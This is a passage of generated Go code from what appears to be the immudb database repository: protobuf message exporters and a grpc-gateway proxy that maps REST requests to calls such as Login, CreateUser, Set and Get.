0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[110].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*SQLExecRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[111].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*SQLQueryRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[112].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*NamedParam); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[113].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*SQLExecResult); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[114].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*CommittedSQLTx); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[115].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*SQLQueryResult); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[116].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Column); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[117].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Row); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[118].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*SQLValue); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[119].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*NewTxRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[120].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*NewTxResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[121].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ErrorInfo); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[122].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DebugInfo); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[123].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*RetryInfo); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[124].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*TruncateDatabaseRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[125].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*TruncateDatabaseResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[126].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Precondition_KeyMustExistPrecondition); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[127].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Precondition_KeyMustNotExistPrecondition); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[128].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Precondition_KeyNotModifiedAfterTXPrecondition); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\tfile_schema_proto_msgTypes[14].OneofWrappers = []interface{}{\n\t\t(*Precondition_KeyMustExist)(nil),\n\t\t(*Precondition_KeyMustNotExist)(nil),\n\t\t(*Precondition_KeyNotModifiedAfterTX)(nil),\n\t}\n\tfile_schema_proto_msgTypes[18].OneofWrappers = []interface{}{\n\t\t(*Op_Kv)(nil),\n\t\t(*Op_ZAdd)(nil),\n\t\t(*Op_Ref)(nil),\n\t}\n\tfile_schema_proto_msgTypes[118].OneofWrappers = []interface{}{\n\t\t(*SQLValue_Null)(nil),\n\t\t(*SQLValue_N)(nil),\n\t\t(*SQLValue_S)(nil),\n\t\t(*SQLValue_B)(nil),\n\t\t(*SQLValue_Bs)(nil),\n\t\t(*SQLValue_Ts)(nil),\n\t\t(*SQLValue_F)(nil),\n\t}\n\ttype x struct{}\n\tout := protoimpl.TypeBuilder{\n\t\tFile: protoimpl.DescBuilder{\n\t\t\tGoPackagePath: reflect.TypeOf(x{}).PkgPath(),\n\t\t\tRawDescriptor: file_schema_proto_rawDesc,\n\t\t\tNumEnums:      3,\n\t\t\tNumMessages:   136,\n\t\t\tNumExtensions: 0,\n\t\t\tNumServices:   1,\n\t\t},\n\t\tGoTypes:           file_schema_proto_goTypes,\n\t\tDependencyIndexes: file_schema_proto_depIdxs,\n\t\tEnumInfos:         file_schema_proto_enumTypes,\n\t\tMessageInfos:      file_schema_proto_msgTypes,\n\t}.Build()\n\tFile_schema_proto = out.File\n\tfile_schema_proto_rawDesc = nil\n\tfile_schema_proto_goTypes = nil\n\tfile_schema_proto_depIdxs = nil\n}\n"
  },
  {
    "path": "pkg/api/schema/schema.pb.gw.go",
    "content": "// Code generated by protoc-gen-grpc-gateway. DO NOT EDIT.\n// source: schema.proto\n\n/*\nPackage schema is a reverse proxy.\n\nIt translates gRPC into RESTful JSON APIs.\n*/\npackage schema\n\nimport (\n\t\"context\"\n\t\"io\"\n\t\"net/http\"\n\n\t\"github.com/golang/protobuf/descriptor\"\n\t\"github.com/golang/protobuf/proto\"\n\t\"github.com/grpc-ecosystem/grpc-gateway/runtime\"\n\t\"github.com/grpc-ecosystem/grpc-gateway/utilities\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/grpclog\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"google.golang.org/grpc/status\"\n\t\"google.golang.org/protobuf/types/known/emptypb\"\n)\n\n// Suppress \"imported and not used\" errors\nvar _ codes.Code\nvar _ io.Reader\nvar _ status.Status\nvar _ = runtime.String\nvar _ = utilities.NewDoubleArray\nvar _ = descriptor.ForMessage\nvar _ = metadata.Join\n\nfunc request_ImmuService_ListUsers_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tmsg, err := client.ListUsers(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_ListUsers_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tmsg, err := server.ListUsers(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_CreateUser_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq CreateUserRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.CreateUser(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_CreateUser_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq CreateUserRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.CreateUser(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_ChangePassword_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ChangePasswordRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.ChangePassword(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_ChangePassword_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ChangePasswordRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.ChangePassword(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_ChangePermission_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ChangePermissionRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.ChangePermission(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_ChangePermission_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ChangePermissionRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.ChangePermission(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_ChangeSQLPrivileges_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ChangeSQLPrivilegesRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.ChangeSQLPrivileges(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_ChangeSQLPrivileges_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ChangeSQLPrivilegesRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.ChangeSQLPrivileges(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_SetActiveUser_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq SetActiveUserRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.SetActiveUser(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_SetActiveUser_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq SetActiveUserRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.SetActiveUser(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_Login_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq LoginRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.Login(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_Login_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq LoginRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.Login(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_Logout_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.Logout(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_Logout_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.Logout(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_Set_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq SetRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.Set(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_Set_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq SetRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.Set(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_VerifiableSet_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq VerifiableSetRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.VerifiableSet(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_VerifiableSet_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq VerifiableSetRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.VerifiableSet(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nvar (\n\tfilter_ImmuService_Get_0 = &utilities.DoubleArray{Encoding: map[string]int{\"key\": 0}, Base: []int{1, 1, 0}, Check: []int{0, 1, 2}}\n)\n\nfunc request_ImmuService_Get_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq KeyRequest\n\tvar metadata runtime.ServerMetadata\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"key\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"key\")\n\t}\n\n\tprotoReq.Key, err = runtime.Bytes(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"key\", err)\n\t}\n\n\tif err := req.ParseForm(); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\tif err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuService_Get_0); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.Get(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_Get_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq KeyRequest\n\tvar metadata runtime.ServerMetadata\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"key\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"key\")\n\t}\n\n\tprotoReq.Key, err = runtime.Bytes(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"key\", err)\n\t}\n\n\tif err := req.ParseForm(); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\tif err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuService_Get_0); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.Get(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_VerifiableGet_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq VerifiableGetRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.VerifiableGet(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_VerifiableGet_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq VerifiableGetRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.VerifiableGet(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_Delete_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req 